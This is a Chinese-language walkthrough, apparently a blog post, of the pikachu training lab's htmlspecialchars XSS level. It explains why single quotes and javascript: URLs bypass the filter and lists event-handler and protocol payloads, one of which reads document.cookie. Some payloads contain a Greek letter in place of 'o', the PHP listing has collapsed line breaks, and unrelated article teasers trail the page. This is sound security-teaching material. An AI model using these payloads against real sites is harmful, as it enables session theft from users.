pikachu靶场通关笔记12 XSS关卡08-XSS之htmlspecialchars(四种方法渗透)

article/2025/6/7 21:51:30

目录

一、htmlspecialchars

二、源码分析

1、进入靶场

2、代码审计

3、渗透思路

(1)利用单引号绕过

(2)利用协议绕过

三、渗透实战

1、探测是否有过滤

2、注入payload1

3、注入payload2

4、注入payload3

5、注入payload4


本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到安全风险的真实原因,讲解XSS的原理并进行渗透实践,本文为XSS第08关卡XSS之htmlspecialchars关卡的渗透部分。

一、htmlspecialchars

PHP 的 htmlspecialchars ()函数 用于将特殊字符转换为 HTML 实体,防止 XSS 攻击。函数的基本语法如下所示。

string htmlspecialchars(string $string,int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401,?string $encoding = null,bool $double_encode = true
)

htmlspecialchars 函数的主要参数含义如下所示。 

参数可选值/示例作用
$flagsENT_QUOTES转义单双引号(推荐)
ENT_COMPAT仅转义双引号
ENT_NOQUOTES不转义任何引号
$encoding'UTF-8'(推荐)指定字符编码,避免乱码
$double_encodetrue(默认)是否对已转义的字符再次转义

htmlspecialchars函数主要转义以下 5 个字符,具体如下所示。

原始字符转义后实体用途说明
&&避免混淆 HTML 实体
""转义双引号(属性值用)
''转义单引号(属性值用)
<&lt;避免标签被解析
>&gt;避免标签被解析
  • 尽管htmlspecialchars 函数对用户输入进行处理,可以防范XSS安全风险,它并非能抵御所有类型的 XSS 攻击,以下是它无法有效防御的几类情况::

    •  事件处理属性:在 HTML 标签里,很多属性可用于触发 JavaScript 代码,例如 onclickonloadonmouseover 等。要是攻击者把恶意脚本注入到这些事件处理属性中,htmlspecialchars 就可能无法有效防御。

    • 协议攻击:攻击者可通过构造包含恶意协议(如 javascript:、data:)的 URL 来实施攻击。htmlspecialchars 虽然会对特殊字符进行编码,但无法阻止恶意协议的使用。

    • 单引号绕过情况:htmlspecialchars 默认不会对单引号进行编码(除非指定 ENT_QUOTES 或 ENT_COMPAT 标志)。攻击者可利用单引号来绕过过滤,注入恶意脚本。

二、源码分析

1、进入靶场

打开pikachu靶场第08关XSS之htmlspecialchars,完整URL地址如下所示,这是一个输入框页面,如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_02.php

2、代码审计

查看xss_02.php源码内容,如下所示使用htmlspecialchars函数对输入参数进行了过滤处理,具体如下所示。

这段 PHP 代码的主要功能是处理用户通过 GET 请求提交的 message 参数。当用户提交表单(即 submit 参数存在)时,会进行如下操作:

  • 检查 message 是否为空,如果为空,提示用户输入内容。
  • 如果 message 不为空,使用 htmlspecialchars 函数对其进行处理,将特殊字符转换为 HTML 实体。
  • 提示用户输入内容已被记录,并将处理后的内容以超链接的形式展示在页面上。

对源码进行详细注释,具体如下所示。

<?php
// 初始化三个空字符串变量,用于存储不同的 HTML 内容
// $html 用于存储提示信息
$html = '';
// $html1 用于存储记录输入的提示信息
$html1 = '';
// $html2 用于存储包含用户输入内容的 HTML 元素
$html2 = '';// 检查 $_GET 数组中是否存在名为 'submit' 的元素
// 即判断用户是否通过 GET 请求提交了 'submit' 参数,以此来确认用户是否进行了提交操作
if (isset($_GET['submit'])) {// 检查 $_GET 数组中名为 'message' 的元素是否为空if (empty($_GET['message'])) {// 如果 'message' 为空,向 $html 变量中追加一段提示信息// 提示用户输入点内容$html .= "<p class='notice'>输入点啥吧!</p>";} else {// 如果 'message' 不为空,使用 htmlspecialchars 函数对用户输入的 'message' 内容进行处理// htmlspecialchars 函数会将特殊字符转换为 HTML 实体,如将 < 转换为 &lt;,> 转换为 &gt; 等// 但默认情况下,单引号 ' 不会被处理$message = htmlspecialchars($_GET['message']);// 向 $html1 变量中追加一段提示信息// 告知用户输入的内容已经被记录$html1 .= "<p class='notice'>你的输入已经被记录:</p>";// 实际使用的代码,将处理后的内容作为超链接的 href 属性和显示文本// 即创建一个超链接,链接地址和显示文本都是用户输入的内容$html2 .= "<a href='{$message}'>{$message}</a>";}
}
?>

3、渗透思路

虽然代码使用了 htmlspecialchars 函数对用户输入进行处理,但仍然有XSS安全风险,渗透思路如下:

(1)利用单引号绕过

由于 htmlspecialchars 默认不对单引号 ' 进行处理,攻击者可以构造包含单引号的恶意输入。例如,当用户输入 ' οnclick='alert('XSS') 时,最终生成的 HTML 代码会变成:

<a href='' onclick='alert('XSS')'>' onclick='alert('XSS')</a>

当用户点击这个超链接时,就会触发 onclick 事件,执行其中的 JavaScript 代码,弹出包含 XSS 的警告框。 

(2)利用协议绕过

攻击者可以构造包含恶意协议的输入,如 javascript:alert('XSS')。当用户输入该内容时,最终生成的 HTML 代码为:

<a href='javascript:alert('XSS')'>javascript:alert('XSS')</a>

当用户点击这个超链接时,浏览器会执行 javascript 协议指定的代码,从而触发 XSS 攻击。

三、渗透实战

1、探测是否有过滤

进入pikachu靶场的第08关卡xss之htmlspecialchars,注意这是一个带有输入框的页面,如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_02.php

接下来输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字'"<>'ljn'"20141019"%#?,具体如下所示。

'"<>'ljn'"20141019"%#?

发现<a>标签内还是href属性内,左右尖括号被编码,双引号被替编码为了&quot,但是单引号居然没有被html编码,可以利用<a>标签。

2、注入payload1

ljn' οnfοcus='alert(1019)'

3、注入payload2

ljn' οnclick='alert(1019)'

4、注入payload3

ljn' οnclick='alert(document.cookie)'

5、注入payload4

javascript:alert(1019)


http://www.hkcw.cn/article/ZFlEOIpZbW.shtml

相关文章

Github 2025-06-03Python开源项目日报 Top10

根据Github Trendings的统计&#xff0c;今日(2025-06-03统计)共有10个项目上榜。根据开发语言中项目的数量&#xff0c;汇总情况如下&#xff1a; 开发语言项目数量Python项目10Rust项目1HTML项目1C项目1 系统设计指南 创建周期&#xff1a;2507 天开发语言&#xff1a;Pyt…

多线程环境中,如果多个线程同时尝试向同一个TCP客户端发送数据,添加同步机制

原代码 public async Task SendToClientAsync(TcpClient targetClient, byte[] data, int offset, int length) {try{// 1. 检查客户端是否有效if (targetClient null || !targetClient.Connected){Console.WriteLine("Cannot send: client is not connected");ret…

java后端生成心电图-jfreechart

用jfreechart生成心电图 先上成功的图片 上代码 1.导入包 implementation org.jfree:jfreechart:1.5.4implementation org.jfree:jcommon:1.0.242.实现代码 对数据进行滤波 转换单位 package com.shinrun.infrastructure.util;import java.util.ArrayList; import java.ut…

项目前置知识——不定参以及设计模式

1.C语言不定参宏函数 c语言中&#xff0c;printf就是一个不定参函数&#xff0c;在使用不定参宏函数时&#xff0c;我们使用__VA_ARGS__来解析不定参&#xff1a; #include <iostream> #include <cstdarg>#define LOG(fmt/*格式*/, .../*用...表示不定参*/) prin…

redis哨兵与集群部署

目录 一.哨兵模式部署 1.设置Redis哨兵模式配置文件的属组以及属主&#xff08;所有节点操作&#xff09; 2.修改Redis哨兵模式的配置文件&#xff08;所有节点操作&#xff09; 3.准备server文件启动&#xff0c;先启主再启从&#xff08;所有节点操作&#xff09; 4.验证…

飞腾D2000,麒麟系统V10,docker,ubuntu1804,小白入门喂饭级教程

#下载docker Index of linux/static/stable/ 根据电脑的CPU类型选择&#xff1a; Intel和AMD选x86_64飞腾D2000选aarch64 #选择较新的版本 #在包含下载的docker-XX.X.X.tgz的文件夹中右键->打开终端 # 解压安装包&#xff08;根据实际下载的文件&#xff09; tar -zxvf …

torch.nn中的各种组件

Content 线性层 (Linear Layers)**核心原理&#xff1a;线性变换****关键组件****示例代码****示例1&#xff1a;基础线性层 (nn.Linear)****示例2&#xff1a;双线性层 (nn.Bilinear)** **应用场景** 非线性激活函数 (Non-linear Activations)**常用非线性激活函数****1. ReLU…

高性能分布式消息队列系统(二)

上一篇博客将C进行实现消息队列的用到的核心技术以及环境配置进行了详细的说明&#xff0c;这一篇博客进行记录消息队列进行实现的核心模块的设计 五、项目的需求分析 5.1、项目框架的概念性理解 5.1.1、消息队列的设计和生产消费者模型的关系 在现代系统架构中&#xff0c;…

AI健康小屋+微高压氧舱:科技如何重构我们的健康防线?

目前&#xff0c;随着科技和社会的不断发展&#xff0c;人们的生活水平和方式有了翻天覆地的变化。 从吃饱穿暖到吃好喝好再到健康生活&#xff0c;观念也在逐渐发生改变。 尤其是在21世纪&#xff0c;大家对健康越来越重视&#xff0c;这就不得不提AI健康小屋和氧舱。 一、A…

Azure DevOps Server 2022.2 补丁(Patch 5)

微软Azure DevOps Server的产品组在4月8日发布了2022.2 的第5个补丁。下载路径为&#xff1a;https://aka.ms/devops2022.2patch5 这个补丁的主要功能是修改了代理(Agent)二进制安装文件的下载路径&#xff1b;之前&#xff0c;微软使用这个CND(域名为vstsagentpackage.azuree…

Rag技术----项目博客(六)

RAG 定义&#xff1a;检索增强生成&#xff08;Retrieval Augmented Generation&#xff09;&#xff0c;简称 RAG&#xff0c;已经成为当前最火热的LLM应用方案。 目的&#xff1a;通过提供相关领域数据库通过问题检索信息&#xff0c;将相关信息合并到Prompt中&#xff0c;…

BioID技术:揭示铁死亡机制中Caspase-2蛋白相互作用网络

铁死亡&#xff08;Ferroptosis&#xff09;是一种铁依赖的非凋亡形式的细胞死亡&#xff0c;其发生与细胞内氧化应激失衡以及抗氧化防御途径受损密切相关。随着研究的深入&#xff0c;学界逐渐认识到蛋白质相互作用在铁死亡调控中扮演着关键角色。铁死亡作为一种新型的细胞死亡…

机器学习——随机森林算法

随机森林算法是一种强大的树集成算法&#xff0c;比使用单个决策树效果要好得多。 以下是生成树集成的方法&#xff1a;假设有一个大小为m的训练集&#xff0c;然后对于b1到B&#xff0c;所以执行B次&#xff0c;可以使用有放回抽样来创建一个大小为m的训练集。所以如果有10个…

快速排序(Quick Sort)算法详解(递归与非递归)

引言 在计算机科学中&#xff0c;排序算法是最基础且重要的算法之一。快速排序&#xff08;Quick Sort&#xff09;作为一种高效的排序算法&#xff0c;在实际应用中被广泛使用。平均时间复杂度为 (O(n log n))&#xff0c;最坏情况下为 (O(n^2))。本文将详细介绍快速排序算法…

8.RV1126-OPENCV 视频中添加LOGO

一.视频中添加 LOGO 图像大体流程 首先初始化VI,VENC模块并使能&#xff0c;然后创建两个线程&#xff1a;1.把LOGO灰度化&#xff0c;然后获取VI原始数据&#xff0c;其次把VI数据Mat化并创建一个感兴趣区域&#xff0c;最后把LOGO放感兴趣区域里并把数据发送给VENC。2.专门获…

Linux 下 ChromeDriver 安装

个人博客地址&#xff1a;Linux 下 ChromeDriver 安装 | 一张假钞的真实世界 Selenium 是一个用于 Web 应用程序测试的工具。可以通过它驱动浏览器执行特定的操作&#xff0c;如点击、下滑、资源加载与渲染等。该工具在爬虫开发中也非常有帮助。Selenium 需要通过浏览器驱动操…

C++学者给您讲数学之——数列

C学者为您解析数列基础 数列的概念 **数列&#xff08;sequence of number&#xff09;**是以正整数集&#xff08;或其有限子集&#xff09;为定义域的有序数集。数列中的每个数称为该数列的项&#xff0c;其中&#xff1a; 第一位称为第1项&#xff08;首项&#xff09; 第…

【Harmony OS】数据存储

目录 数据存储概述 首选项数据存储 关系型数据库 数据存储概述 • 数据存储 是为了解决应用数据持久化问题&#xff0c;使得数据能够存储在外存中&#xff0c;达到保存或共享目的。 • 鸿蒙应用数据存储包括 本地数据存储 和 分布式数据存储 。 • 本地数据存储 为应用…

程序员健康防护指南

深度学习欢迎访问&#xff1a;通义灵码2.5qwen3——节假日抢票不用愁&#xff0c;基于12306-MCP实现个人火车票智能查询小助手&#xff01;-CSDN博客 一、视觉系统防护工程 1. 数字眼疲劳综合征防控 蓝光管理&#xff1a;使用经认证的防蓝光眼镜可过滤45%有害蓝光&#xff0c;…

CSS 平铺+自动换行效果

先上效果图 样式 <template><div class"activity-questions"><h1>活动题库</h1><div v-if"loading" class"loading">加载中...</div><div v-else><div v-if"questions.length 0" clas…